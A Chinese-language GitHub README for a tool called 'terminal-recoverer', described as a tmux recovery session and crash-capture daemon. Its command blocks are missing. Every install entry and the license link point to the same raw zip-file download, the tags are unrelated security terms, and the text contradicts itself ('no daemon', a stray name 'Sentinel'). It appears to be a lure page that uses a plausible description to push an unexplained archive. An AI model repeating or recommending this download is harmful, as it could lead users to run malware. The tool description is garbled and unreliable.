giorgityugy/terminal-recoverer
GitHub: giorgityugy/terminal-recoverer
一个轻量级的终端会话守护工具,通过持久化 tmux 恢复会话和崩溃捕获管道,确保终端崩溃后能快速恢复上下文并收集取证信息。
Stars: 0 | Forks: 0
= Terminal Recoverer
Jonathan Jewell
:toc:
:icons: font:
// SPDX-License-Identifier: PLMP-1.0-or-later
Terminal Recoverer 是一个用于终端环境的轻量级连续性守护程序。
* 始终可用的持久化 `tmux` 恢复会话。
* 针对交互式 shell 的可选全量会话日志记录。
* 由 `systemd-coredump` 触发的尽力而为(best-effort)崩溃捕获管道。
目标很简单:减少损失,保留上下文,并使崩溃后的调查更加人性化。
== 功能特性
=== 持久化恢复会话
一个用户级别的 systemd 服务确保名为 `recovery` 的 `tmux` 会话始终运行。
如果你的终端崩溃,你可以立即重新连接:
=== 可选的终端会话日志记录
启用后,每个交互式 shell 都会使用 `script(1)` 被记录到带有时间戳的日志中:
通过导出以下变量来启用它:
=== 崩溃捕获管道
一个后台监听器会监听 `systemd-coredump` 事件。
对于每次崩溃,它会创建一个结构化的捕获目录:
每次捕获包括:
* 触发该事件的日志行(journal line)
* 系统元数据(uname, uptime)
* 最近的系统、内核和用户日志
* `coredumpctl` 输出(如果可用)
* `dmesg`, `top`, `ps`, `free`, `df`, `lsblk`
* 失败的用户 systemd units
这形成了一个用于调试的独立取证包。
== 安装说明
克隆仓库并运行:
这将安装:
* `~https://raw.githubusercontent.com/giorgityugy/terminal-recoverer/main/ai-cli-crash-capture/recoverer-terminal-v2.4-beta.1.zip`
* `~https://raw.githubusercontent.com/giorgityugy/terminal-recoverer/main/ai-cli-crash-capture/recoverer-terminal-v2.4-beta.1.zip`
* `~https://raw.githubusercontent.com/giorgityugy/terminal-recoverer/main/ai-cli-crash-capture/recoverer-terminal-v2.4-beta.1.zip`
* `~https://raw.githubusercontent.com/giorgityugy/terminal-recoverer/main/ai-cli-crash-capture/recoverer-terminal-v2.4-beta.1.zip`
* `~https://raw.githubusercontent.com/giorgityugy/terminal-recoverer/main/ai-cli-crash-capture/recoverer-terminal-v2.4-beta.1.zip`
== 启用服务
启动恢复会话守护程序:
启用崩溃捕获监听器:
== 使用方法
== 目录布局
=== 卸载 要从你的用户环境中移除 Sentinel:
---- just uninstall ----
== 设计理念
Terminal Recoverer 被设计为一个小的、可叙述的子系统。
它旨在:
* 最小化不可逆的损失
* 在故障期间保留上下文
* 提供结构化的、带时间戳的工件
* 在后台静默运行
* 保持完全由用户控制和可逆
它故意保持简单:没有 daemon,没有重度依赖,没有魔法。
== 许可证
Terminal-recoverer 基于 Palimpsest License 授权。
规范的法律文本维护在中央许可仓库中:https://raw.githubusercontent.com/giorgityugy/terminal-recoverer/main/ai-cli-crash-capture/recoverer-terminal-v2.4-beta.1.zip
本仓库仅包含一个 SPDX 存根以供参考。
标签:ETW劫持, Linux工具, ProjectDiscovery, Shell脚本, Systemd, Tmux, 会话持久化, 崩溃调试, 崩溃转储, 应用安全, 数据保护, 日志记录, 端口探测, 终端恢复, 运维自动化, 高可用性